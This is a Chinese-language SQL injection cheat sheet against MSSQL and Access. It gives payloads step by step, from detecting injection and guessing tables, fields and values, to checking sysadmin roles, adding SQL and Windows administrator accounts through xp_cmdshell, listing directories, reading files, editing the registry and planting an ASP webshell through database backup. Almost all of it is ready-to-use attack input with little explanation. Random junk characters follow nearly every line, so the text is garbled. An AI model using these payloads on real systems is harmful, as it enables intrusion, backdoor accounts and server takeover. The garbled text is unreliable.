1.判断是否有注入;and 1=1 ;and 1=2 udgf{1EB&2
2.初步判断是否是mssql ;and user>0 "H#2
eX>x
+]l6
3.注入参数是字符'and [查询条件] and ''=' TF2'-"2Y
:hC+r=!I
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 8!sl) R
icH\(
5.判断数据库系统 ]sB-}n)
N
8 n`f
;and (select count(*) from sysobjects)>0 mssql OF-$*
yJNQO'wcv
;and (select count(*) from msysobjects)>0 access +K {J*
n
"dQ02y
vL}e1V:
GUSEbIz):
6.猜数据库 ;and (select Count(*) from [数据库名])>0 NH~\kV
jnho*,X
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 >cJf D9-<h
vq/3a
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ^Y,nv,gYn
SJ8Ax_9{q
9.(1)猜字段的ascii值(access) ~Z-o2+xA
C%H{"
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 )B)ecJJ_
X;'H@GU0
(2)猜字段的ascii值(mssql) db#svj*
m) QV2n
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 #g=7fu{n:
wwaw|$
10.测试权限结构(mssql) h9RL(Kq{
:J6 xYy$
$raq,SP
%^Zu^uu
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- $\Oc]%
#83`T&Xw*
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- A{|^_1
17la/7l<
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ]-g9dV_[>j
e|>
5
R
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- &Ql$7:r
#|8Ia:=s
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- >UNx<=ry
z*k(` '
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- h>k[
<
#FxI
;and 1=(select IS_MEMBER('db_owner'));-- Nux
4]G J+a
FJQ=611@
Uhs/F:E[A
11.添加mssql和系统的帐户 4Dy|YH$>S
*\gYs{,
;exec master.dbo.sp_addlogin username;-- TAB'oLNp
;exec master.dbo.sp_password null,username,password;-- 1
K(0tG:5
0#Ae<
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 717S3knlv
O#MaZ.=
;exec master.dbo.xp_cmdshell 'net user username password N1iP!m9Q
)5Wt(p:T6_
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- &$yxAqdab
+9exap27
;exec master.dbo.xp_cmdshell 'net user username password /add';-- /#}o19(-d
;x.5_Xw{.
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- QZ&
4W
WA((>Daf]
z94#:jPmG
Nnx dO0X
12.(1)遍历目录 e1Q
rHiBW!
;create table dirs(paths varchar(100), id int) F/
o }5H
?[?;%Y
;insert dirs exec master.dbo.xp_dirtree 'c:\' ;vG%[f`K
7y4jk
;and (select top 1 paths from dirs)>0 \&/V p`
X6<Ds'I
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) l#IN)">1
YJGP8
otA'+4\
G4rd<V0[D
(2)遍历目录 ^u(-v/D9
" %
l``
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- [>D5(O
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 |"g+p)A
R0~w F>
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Z H2
}2h!
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ~^bf1W[
BdrYc^?JL]
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 (<2!^v0.M
y!8m7a
E(F?o.b
jP#I](\eG
13.mssql中的存储过程 1>=%TIO)
m*|G2
xp_regenumvalues 注册表根键, 子键 hx! :F"#
.cm9&&"Z
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 o-<XR9,N*
&$bcB]C\3
xp_regread 根键,子键,键值名 '>cZ7:
068DC_
;exec xp_regread :.=#U
XTJA"y
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 "m>BE
W2{4s
1
xp_regwrite 根键,子键, 值名, 值类型, 值 j^.|^q<Y
''($E/
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 xwub-yz
yMEI^,0"
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 WCY5F
T9FGuit9
xp_regdeletevalue 根键,子键,值名 2y IDyo
<Uu[nUJ
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 r:M0#
2
RR2M+vQ
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 JmC2buO
dDA,Ps
fu
iTy72
D+u\ORj
14.mssql的backup创建webshell t>P[Yld"
G<P/COI#M5
use model [0D.+("EW
q'9;
create table cmd(str image); [e>2HIS,
Ap~6Vu
insert into cmd(str) values (''); 9*P-k.Bl
WDI3*
backup database model to disk='c:\l.asp'; FqZD'Uu7
v6H!.0
XMzQ8|]
=zR9^k
15.mssql内置函数 Yyw9IYB;
@"B{k%+
;and (select @@version)>0 获得Windows的版本号 ~x[(1
GL _hRu
;and user_name()='dbo' 判断当前系统的连接用户是不是sa J|
1!4R~
`YY07(%
;and (select user_name())>0 爆当前系统的连接用户 FE1'MUT_
Y.q$"lm7k
;and (select db_name())>0 得到当前连接的数据库 cqaq~
OepQ Z|2
Gzp*Vr
PZY6
I
16.简洁的webshell X/buz
tkmzOc H
use model /]?e^akA
i|0!yID0@
create table cmd(str image); ju!V1ky
XT\2
insert into cmd(str) values (''); "EVf1iQ
!C(PfsrR/
backup database model to disk='g:\wwwtest\l.asp';